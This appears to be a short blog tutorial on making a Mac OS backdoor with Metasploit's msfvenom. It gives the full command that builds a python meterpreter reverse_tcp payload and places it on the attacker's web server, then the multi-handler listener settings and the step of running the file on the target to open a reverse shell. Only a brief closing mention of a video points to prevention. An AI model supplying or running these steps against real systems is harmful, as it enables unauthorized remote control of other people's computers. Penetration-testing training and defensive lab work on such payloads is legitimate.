Creating a Basic Backdoor on Mac OS Using Msfvenom
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Understanding Msfvenom for Backdoor Creation
In this tutorial, we will demonstrate how to create a Meterpreter session that connects back to our attacking system from Mac OS using Msfvenom. We will specifically utilize the reverse_tcp option, which ensures that the Meterpreter session will establish a connection back to the attacking machine rather than connecting directly from the attacking machine.
To begin, open a new terminal window and input the following command:
(root@kali:~# msfvenom — payload python/meterpreter/reverse_tcp LHOST=10.16.3.114 LPORT=8080 > /var/www/html/Hello_World/MacOS.py)
This command generates a backdoor file utilizing “python/meterpreter/reverse_tcp” and saves it on our web server as “MacOS.py.”
Setting Up the Multi-Handler
Before we run the backdoor file on the target Mac OS machine, we need to initiate the multi-handler to listen for incoming connections. Follow these steps to set it up:
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.16.3.114
LHOST => 10.16.3.114
msf exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf exploit(multi/handler) > exploit
Downloading and Running the Backdoor
Next, navigate to the target Mac OS system and download the malicious Python file.
On Unix-based systems, users typically execute “.py” files via the terminal. Open a terminal window, change your directory to “/Downloads,” and run the following command to execute the file:
python MacOS.py
This action will trigger a reverse shell connection back to the attacker’s computer.
The Utility of Msfvenom
The Msfvenom module is one of the most valuable yet often overlooked tools in Metasploit, especially for beginners. It allows users to generate a variety of payloads and can be instrumental in creating a shell in nearly any scenario.
This video titled "How to Create Backdoors with Msfvenom (Remote Access Any Device)" provides a comprehensive overview of backdoor creation and its implications in cybersecurity.
In this video, "#5 How to Attack and Prevent MacOS Metasploit Reverse Shell in Kali Purple Elastic SIEM lab," viewers learn about attack vectors and preventive measures in a practical lab setting.